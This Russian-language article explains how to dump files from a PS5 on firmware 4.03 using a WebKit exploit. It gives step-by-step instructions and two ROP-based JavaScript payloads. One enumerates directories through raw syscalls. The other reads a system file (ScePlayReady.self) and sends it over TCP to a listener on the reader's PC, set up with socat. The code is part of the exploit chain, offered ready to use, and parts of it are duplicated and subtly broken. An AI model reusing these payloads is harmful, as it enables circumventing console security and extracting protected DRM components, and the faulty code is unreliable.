Для дампинга потребуется консоль PS5 только с версией прошивки 4.03, на других версиях способ не сработает.
Специализирующийся на взломе PlayStation хакер Bigboss опубликовал скрипты ROP (возвратно-ориентированного программирования) для перечисления и вывода данных из файловой системы PS5 с версией прошивки 4.03 с помощью webkit эксплоита. Конечно, получить весь дамп файлов не выйдет, а только файлы, доступные через разрешения webkit. Тем не менее, благодаря этому можно получить ясную картину файлов PS5.
Дампинг файловой системы PS5 с пошивкой 4.03. Инструкция
Наверное, это очевидно, но для дампинга потребуется консоль PS5 только с версией прошивки 4.03, на других версиях способ не сработает.
Необходимо будет модифицировать выполнение ROP в пользовательском пространстве. Эти файлы были выпущены ChendoChap и ZnullPtr некоторое время назад и доступны здесь.
После строчки 650 скрипта exploit.js (alert(`sys_getpid: ${pid}`);), скорее всего, потребуется удалить раздел образцов (Threading Sample и Branch Sample) и заменить их представленным ниже кодом от Bigboss.
Далее нужно сохранить полученные файлы на сервере и загрузить index.html через браузер PS5 (например, можно воспользоваться одним из DNS от Al-Azif: 165.227.83.145 или 192.241.221.79, получить доступ к странице с руководством для пользователя на PS5, а затем воспользоваться URL-переадресатором).
Скрипт для перечисления файлов и папок (также дает имя строке sandbox, полупроизвольное имя папки под конкретного пользователя):
let directory=malloc(256,1);
p.writestr(directory.add32(0),"/");
let retopen=await chain.syscall(5,directory,0,0);
let directoryBuffer=malloc(1024*1024,1);
let directorySize=1024*1024;
let retgetdent=await chain.syscall(272,retopen,directoryBuffer,directorySize);
let numbytes=parseInt(retgetdent,16);
let entry;
let num_entry=0;
let d_fileno;
let d_reclen;
let d_type;
let d_namelen;
let d_name;
let position=0;
for(position=0;position<numbytes;){
entry=directoryBuffer.add32(position);
d_fileno=p.read4(entry.add32(0));
d_reclen=p.read2(entry.add32(4));
d_type=p.read1(entry.add32(6));
d_namelen=p.read1(entry.add32(7));
d_name=p.readstr(entry.add32(8));
alert("num_entry=${num_entry} d_reclen=${d_reclen} d_type=${d_type} d_namelen=${d_namelen} d_name=${d_name} position=${position}");
position=position+d_reclen;
parseInt(position)+parseInt(d_reclen,16);
num_entry++;
}
Скрипт для создания дампа файла в целевом файле на компьютере:
//POST EXPLOIT STUFF HERE
//change once per file name
//use for example in your pc socat -u TCP-LISTEN:18194,reuseaddr OPEN:ScePlayReady.self,creat,trunc
let tcpsocket=await chain.syscall(97,2,1,0);
alert(`sys_socket: ${tcpsocket}`);
let tcpsocketaddr=malloc(16,1);
p.write1(tcpsocketaddr.add32(1),2);
p.write2(tcpsocketaddr.add32(2),0x1247);
//change ip for your pc
p.write4(tcpsocketaddr.add32(4),0xCD01A8C0); //192(C0)168(A8)1(01)205(CD)
alert(`before sys_connect`);
let ret_tcpconnect=await chain.syscall(98,tcpsocket,tcpsocketaddr,16);
alert(`sys_connect: ${ret_tcpconnect}`);
//the right way is to use stat get size but this is quick and dirty test
let tcpmessage=malloc(34406400,1);
let tcpmessage_size=34406400;
let file=malloc(256,1);
p.writestr(file.add32(0),"/RcDZV3xbd4/common/lib/ScePlayReady.self");//example path /RcDZV3xbd4/common/lib/ScePlayReady.self, change RcDZV3xbd4 to your sandbox string
let retopen_file=await chain.syscall(5,file,0,0);
alert(`syscall_open return ${retopen_file}\n`);
let file_read=await chain.syscall(3,retopen_file,tcpmessage,tcpmessage_size);
alert(`before sys_sendto read ${file_read}`);
let ret_tcpsendto=await chain.syscall(133,tcpsocket,tcpmessage,file_read,0,0,0);
alert(`sys_sendto: ${ret_tcpsendto} ${file_read}`);
let ret_close=await chain.syscall(6,tcpsocket);
alert(`sys_close: ${ret_close}`);
alert(`syscall_open return ${retopen_file}\n`);
let file_read=await chain.syscall(3,retopen_file,tcpmessage,tcpmessage_size);
alert(`before sys_sendto read ${file_read}`);
let ret_tcpsendto=await chain.syscall(133,tcpsocket,tcpmessage,file_read,0,0,0);
alert(`sys_sendto: ${ret_tcpsendto} ${file_read}`);
let ret_close=await chain.syscall(6,tcpsocket);
alert(`sys_close: ${ret_close}`);
//size used was for a self file
//after all this your ScePlayReady.self file is created and closed
Конечно, энтузиасты, работающие над взломом PS5, уже наверняка получили файлы с помощью этого механизма (и, вероятно, смогли получить еще больше другими способами), но для тех, кто просто хочет посмотреть, как это делается, представленные выше скрипты являются самым простым способом.